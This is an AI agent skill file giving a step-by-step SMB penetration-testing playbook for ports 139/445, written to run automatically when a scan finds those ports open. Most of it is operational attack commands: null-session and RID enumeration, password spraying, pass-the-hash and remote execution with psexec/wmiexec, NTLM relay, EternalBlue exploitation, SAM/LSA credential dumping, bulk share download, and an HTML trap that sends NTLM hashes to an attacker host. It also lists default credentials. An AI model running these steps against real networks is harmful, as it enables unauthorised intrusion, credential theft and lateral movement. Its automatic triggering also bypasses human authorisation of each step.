smb-pentesting

$npx mdskill add wgpsec/AboutSecurity/smb-pentesting

Execute SMB penetration tests on exposed 139/445 ports.

  • Recon Windows domains and enumerate shared resources.
  • Integrates enum4linux, crackmapexec, and RPC tools.
  • Triggers automatically when scanning detects open SMB ports.
  • Outputs actionable findings for lateral movement planning.
SKILL.md
.github/skills/smb-pentestingView on GitHub ↗
---
name: smb-pentesting
description: |
  SMB/CIFS 服务(139/445 端口)渗透测试方法论。涵盖 NetBIOS/SMB 服务发现与版本识别、共享枚举与访问、用户和组枚举、凭据攻击(空会话/密码喷洒/哈希传递)、已知漏洞利用(EternalBlue 等)。
  当 Agent 扫描发现 139 或 445 端口开放、需要枚举 Windows 域信息、测试 SMB 共享权限、或进行 SMB 相关横向移动时,触发此 Skill。
metadata:
  tags:
    - smb
    - cifs
    - netbios
    - 文件共享
    - 139端口
    - 445端口
    - windows
    - enum4linux
    - smbclient
    - crackmapexec
  category: exploit/network-service
---

# SMB/CIFS 渗透测试方法论 (139/445)

## 深入参考

- 枚举命令大全(enum4linux / smbclient / crackmapexec / rpcclient) -> 读 [references/smb-enumeration-commands.md](references/smb-enumeration-commands.md)
- 漏洞利用与中继攻击(EternalBlue / PrintNightmare / CVE 清单 / Relay) -> 读 [references/smb-exploitation.md](references/smb-exploitation.md)

---

## 整体决策树

```
发现 139/445 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ 确定 SMB 版本 (SMBv1 / v2 / v3)
│   ├─ 确定操作系统版本
│   └─ 判断是否域环境
│       ├─ 是 -> 记录域名,进入 Phase 3 深度枚举
│       └─ 否 -> 工作组环境,侧重共享枚举
├─ Phase 2: 共享枚举
│   ├─ 空会话 (null session) 测试
│   │   ├─ 成功 -> 列举所有共享,检查 IPC$/SYSVOL/NETLOGON
│   │   └─ 失败 -> 尝试 guest 账户 -> 尝试已知凭据
│   ├─ 可读共享 -> 下载敏感文件 (Registry.xml / web.config / 脚本)
│   └─ 可写共享 -> 标记用于后续利用 (SCF/LNK 投毒、Logon Script 注入)
├─ Phase 3: 用户与组枚举
│   ├─ RPC 枚举 (rpcclient / enum4linux)
│   ├─ RID 爆破 (lookupsid.py / crackmapexec --rid-brute)
│   └─ LDAP 查询 (ldapsearch, 仅域环境)
├─ Phase 4: 凭据攻击
│   ├─ 密码喷洒 (crackmapexec / hydra)
│   ├─ Pass-the-Hash (smbclient / psexec.py / wmiexec.py)
│   └─ NTLM Relay (Responder + ntlmrelayx)
├─ Phase 5: 漏洞利用
│   ├─ SMBv1 -> 检测 MS17-010 (EternalBlue)
│   ├─ 打印服务 -> PrintNightmare (CVE-2021-34527)
│   └─ 其他 CVE -> 读 references/smb-exploitation.md
└─ Phase 6: 后渗透
    ├─ 远程命令执行 (psexec / smbexec / wmiexec / atexec)
    ├─ 凭据提取 (SAM/LSA/LSASS dump)
    └─ 横向移动 (通过 SMB 共享传播)
```

---

## Phase 1: 服务发现与版本识别

### 1.1 端口与 NetBIOS 扫描

```bash
# NetBIOS 网段扫描 — 快速发现 SMB 主机
nbtscan -r 192.168.0.1/24

# Nmap 服务版本探测
nmap -sV -sC -p 139,445 <IP>

# Nmap SMB 专项脚本
nmap --script "safe or smb-enum-*" -p 445 <IP>
```

### 1.2 SMB 版本识别

```
识别 SMB 版本
├─ Metasploit: auxiliary/scanner/smb/smb_version
├─ crackmapexec smb <IP>  (输出中显示 SMBv1/v2/v3 和 OS)
└─ 手动 tcpdump 捕获 (适用于受限环境)
    └─ -> 读 references/smb-enumeration-commands.md #版本识别脚本
```

**关键判断**:
- SMBv1 -> 高危,可能存在 MS17-010 (EternalBlue),立即进入 Phase 5 检测
- Samba < 3.5.0 -> CVE-2007-2447 (username map script RCE)
- 旧版 Windows (2003/XP/2008) -> 多种远程代码执行漏洞

### 1.3 操作系统指纹

```bash
# crackmapexec 自动输出 OS 信息
crackmapexec smb <IP>

# enum4linux 完整信息收集
enum4linux -a <IP>
```

---

## Phase 2: 共享枚举

### 2.1 认证级别决策树

```
尝试列举共享
├─ 1) 空会话 (null session)
│   ├─ smbclient --no-pass -L //<IP>
│   ├─ smbmap -H <IP>
│   └─ crackmapexec smb <IP> -u '' -p '' --shares
├─ 2) Guest 账户
│   ├─ smbmap -H <IP> -u guest
│   └─ crackmapexec smb <IP> -u 'guest' -p '' --shares
├─ 3) 已知凭据
│   ├─ smbmap -u "user" -p "pass" -H <IP>
│   └─ crackmapexec smb <IP> -u 'user' -p 'pass' --shares
└─ 4) Pass-the-Hash
    └─ crackmapexec smb <IP> -u 'user' -H '<NTHASH>' --shares
```

### 2.2 连接与浏览共享

```bash
# 连接到特定共享
smbclient --no-pass //<IP>/<ShareName>
smbclient -U 'user%pass' //<IP>/<ShareName>

# 递归列出共享内容
smbmap -R <ShareName> -H <IP>
smbclient --no-pass -c 'recurse;ls' //<IP>/<ShareName>
```

### 2.3 常见 Windows 共享与敏感文件

**默认共享**:`C$`, `D$`, `ADMIN$`, `IPC$`, `PRINT$`, `SYSVOL`, `NETLOGON`

**高价值文件**:
- `Registry.xml` — 可能含自动登录密码(Group Policy Preferences)
- `web.config` — Web 应用凭据
- `SYSVOL` 中的脚本 — 域环境下所有认证用户可读,常含明文密码
- `.vmdk` / `.vhd` — 虚拟磁盘,可离线提取哈希

**SYSVOL 写入测试**:即使共享显示只读,NTFS ACL 可能允许写入。用 smbclient 上传测试文件验证,可写则可投毒 logon script 实现 RCE。

-> 读 references/smb-enumeration-commands.md 获取完整的共享枚举命令

### 2.4 域共享搜索工具

```bash
# Snaffler — 自动搜索域内敏感文件
Snaffler.exe -s -d domain.local -o snaffler.log -v data

# CrackMapExec spider 模块
crackmapexec smb <IP> -u user -p pass -M spider_plus --share 'ShareName'
```

---

## Phase 3: 用户与组枚举

### 3.1 枚举决策树

```
用户枚举
├─ 自动化工具 (推荐首选)
│   ├─ enum4linux -a <IP>
│   └─ enum4linux-ng -A <IP>
├─ CrackMapExec
│   ├─ crackmapexec smb <IP> --users
│   ├─ crackmapexec smb <IP> --groups
│   └─ crackmapexec smb <IP> --rid-brute
├─ RPC 枚举 (rpcclient)
│   ├─ rpcclient -U "" -N <IP>  # 空会话
│   │   ├─ enumdomusers    # 列举域用户
│   │   ├─ enumdomgroups   # 列举域组
│   │   ├─ queryuser 0x<RID>  # 查询用户详情
│   │   └─ querydispinfo   # 显示用户信息
│   └─ -> 读 references/smb-enumeration-commands.md #rpcclient 命令表
├─ SID/RID 爆破
│   ├─ lookupsid.py -no-pass <hostname>
│   └─ Metasploit: auxiliary/scanner/smb/smb_lookupsid
└─ LDAP 查询 (域环境)
    └─ ldapsearch -x -b "DC=DOMAIN,DC=LOCAL" -s sub "(&(objectclass=user))" -h <IP>
```

### 3.2 RID 循环爆破

```bash
# 手动 RID 爆破 (500-1100 覆盖内置账户和早期用户)
for i in $(seq 500 1100); do
    rpcclient -N -U "" <IP> -c "queryuser 0x$(printf '%x\n' $i)" \
    | grep "User Name\|user_rid\|group_rid" && echo ""
done

# Impacket lookupsid
lookupsid.py -no-pass hostname.local
```

---

## Phase 4: 凭据攻击

### 4.1 攻击路径选择

```
已获得用户名列表
├─ 有明文密码 -> 直接认证,进入 Phase 6
├─ 有 NTLM 哈希 -> Pass-the-Hash
│   ├─ crackmapexec smb <IP> -u user -H <NTHASH>
│   ├─ smbclient -U 'user%hash' --pw-nt-hash //<IP>/share
│   └─ psexec.py -hashes <LM:NT> user@<IP>
├─ 无凭据 -> 密码喷洒
│   ├─ crackmapexec smb <IP> -u users.txt -p 'Password1'
│   └─ hydra -t 1 -V -f -l user -P wordlist.txt <IP> smb
│   注意: 注意锁定策略!先查询: crackmapexec smb <IP> --pass-pol
└─ 网络位置优越 -> NTLM Relay
    ├─ Responder 捕获 NTLM 认证
    └─ ntlmrelayx.py 中继到目标
        └─ -> 读 references/smb-exploitation.md #Relay攻击
```

### 4.2 常见默认凭据

| 用户名 | 常见密码 |
|--------|---------|
| _(空)_ | _(空)_ |
| guest | _(空)_ |
| Administrator / admin | _(空)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli / tmersrvd | tivoli, tmersrvd, admin |
| backupexec / backup | backupexec, backup, arcada |
| test / lab / demo | password, test, lab, demo |

---

## Phase 5: 漏洞利用

### 5.1 漏洞检测决策树

```
SMB 版本已知
├─ SMBv1 启用
│   ├─ MS17-010 (EternalBlue) — Windows 7/2008R2/XP/2003
│   │   ├─ 检测: nmap --script smb-vuln-ms17-010 -p 445 <IP>
│   │   └─ 利用: Metasploit exploit/windows/smb/ms17_010_eternalblue
│   ├─ MS08-067 — Windows XP/2003
│   │   ├─ 检测: nmap --script smb-vuln-ms08-067 -p 445 <IP>
│   │   └─ 利用: Metasploit exploit/windows/smb/ms08_067_netapi
│   └─ MS06-025 / MS07-029 等旧漏洞
├─ 打印服务 (Spooler) 运行
│   ├─ PrintNightmare (CVE-2021-34527) — 域控 RCE
│   └─ -> 读 references/smb-exploitation.md #PrintNightmare
├─ Samba (Linux)
│   ├─ CVE-2007-2447 — Samba 3.0.20-3.0.25rc3 username map script RCE
│   └─ CVE-2017-7494 — Samba 3.5.0+ 可写共享 RCE (SambaCry)
└─ 批量漏洞扫描
    └─ nmap -p 139,445 --script 'smb-vuln*' -Pn <IP>
```

-> 读 references/smb-exploitation.md 获取完整 CVE 列表和利用细节

---

## Phase 6: 后渗透

### 6.1 远程命令执行

```
拥有有效凭据/哈希 + 管理员权限
├─ psexec.py (创建服务,上传可执行文件到 ADMIN$)
│   └─ psexec.py domain/user:pass@<IP>
│   └─ psexec.py -hashes <LM:NT> admin@<IP>
├─ smbexec.py (通过 cmd.exe,无文件落地)
│   └─ smbexec.py domain/user:pass@<IP>
├─ wmiexec.py (通过 WMI/DCOM,端口 135,更隐蔽)
│   └─ wmiexec.py domain/user:pass@<IP>
├─ atexec.py (通过任务计划程序)
│   └─ atexec.py domain/user:pass@<IP> "command"
└─ crackmapexec (批量执行)
    ├─ crackmapexec smb <IP> -u admin -p pass -x "whoami"  # cmd
    └─ crackmapexec smb <IP> -u admin -p pass -X '$PSVersionTable'  # PowerShell
```

### 6.2 凭据提取

```bash
# SAM 数据库
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --sam

# LSA Secrets
crackmapexec smb <IP> -d DOMAIN -u admin -p pass --lsa

# 远程注册表读取
reg.py domain/user@<IP> -hashes <LM:NT> query -keyName HKLM -s
```

### 6.3 文件操作与数据导出

```bash
# 挂载共享到本地
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=pass" //x.x.x.x/share /mnt/share

# 批量下载共享文件
smbclient //<IP>/<share> -U 'user%pass' -c 'recurse;prompt;mget *'

# 搜索并下载特定文件
smbmap -R Folder -H <IP> -A <FileName> -q
```

### 6.4 Kerberos 认证 (NTLM 禁用环境)

```bash
# 时钟同步 (避免 KRB_AP_ERR_SKEW)
sudo ntpdate <dc.fqdn>

# Kerberos 认证
smbclient --kerberos //dc.domain.com/C$
rpcclient -k dc.domain.com
netexec smb <dc.fqdn> -k
```

---

## Samba 配置审计 (Linux 目标)

获取访问权限后检查 `/etc/samba/smb.conf` 中的危险配置:

| 配置项 | 风险说明 |
|-------|---------|
| `guest ok = yes` | 允许无密码访问 |
| `read only = no` / `writable = yes` | 允许写入文件 |
| `create mask = 0777` | 新文件权限过大 |
| `enable privileges = yes` | 允许 SID 特权提升 |
| `logon script = script.sh` | 登录脚本可被篡改 |

```bash
# 检查当前连接和会话
smbstatus
```

---

## SMB Trap 与 NTLM 窃取

当可以控制目标访问的内容时(如 HTML 注入),可触发自动 SMB 认证:

```
强制 SMB 认证场景
├─ HTML/邮件中嵌入: <img src="\\attacker_ip\share\img.jpg">
├─ Windows URLMon.dll 自动发起 NTLM 认证
├─ Responder 监听捕获 NetNTLMv2 哈希
└─ 后续操作
    ├─ 离线破解 (hashcat / john)
    └─ NTLM Relay 中继到其他服务
```

-> 读 references/smb-exploitation.md #NTLM窃取与SMBTrap
More from wgpsec/AboutSecurity